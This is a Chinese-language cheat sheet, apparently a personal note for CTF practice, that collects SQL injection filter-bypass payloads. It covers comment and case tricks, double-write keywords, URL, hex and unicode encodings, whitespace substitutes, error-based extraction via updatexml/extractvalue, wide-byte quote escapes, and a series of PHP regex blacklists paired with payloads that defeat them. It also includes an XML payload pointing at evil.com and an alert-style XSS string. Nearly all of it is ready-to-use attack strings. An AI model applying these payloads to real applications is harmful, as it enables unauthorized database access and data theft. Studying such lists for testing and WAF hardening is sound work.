Sql注入绕过姿势

整理一下sql注入的各种绕过姿势,以后做题方便查阅。

0x00 注释符

常用注释:

1
2
3
4
5
6
7
8
//
--%20
/**/
#
--+
-- -
%00
;

0x01 大小写绕过

用于绕过一些对大小写敏感的黑名单匹配

?id=1 UnIon SeLeCt user()#

0x02 双写绕过

waf将关键字替换为空,没有递归

?id=1 uniunionon seselectlect user()#

0x03 编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

0x04 绕过空格

1
2
3
4
用Tab代替空格
%20 %09 %0a %0b %0c %0d %a0 /**/
()绕过空格

0x05 like绕过

1
2
?id=1' or 1 like 1#
可以绕过对 = > 等过滤

0x06 in绕过

1
2
or '1' IN ('1234')#
可以替代=

0x07 等价函数或变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

0x08 生僻函数

1
2
3
4
5
6
7
8
9
10
11
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))

0x09 反引号绕过

1
select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

0x0a 宽字节绕过

1
2
3
宽字节绕过主要是sql数据库编码问题造成的,在过滤单引号时,可以尝试用
%bf%27 %df%27 %aa%27
绕过

0x0b \N绕过

\N相当于NULL字符

1
2
3
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

0x0c 特殊的绕过函数

1.用greatest()绕过<>

1
2
3
4
5
6
mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
| 1 |
+------------------------------------------+

2.使用mid()等逗号被过滤的情况

mid(user() from 1 for 1)

substr(user() from 1 for 1)

1
2
3
4
5
6
mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
| 1 |
+------------------------------------------+

php中常见的waf及绕过

php过滤直接用preg_match('/('.waf.')/i',$id)

过滤and or

1
2
3
waf = 'and|or'
过滤代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

过滤union

1
2
3
waf = 'and|or|union'
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

过滤where

1
2
3
waf = 'and|or|union|where'
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

1
2
3
waf = 'and|or|union|where|limit'
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

1
2
3
waf = 'and|or|union|where|limit|group by'
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

1
2
3
waf = 'and|or|union|where|limit|group by|select'
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤’(单引号)

1
2
3
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤hex

1
2
3
waf = 'and|or|union|where|limit|group by|select|\'|hex'
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

1
2
3
waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'

参考资料

SQL-Injection绕过技巧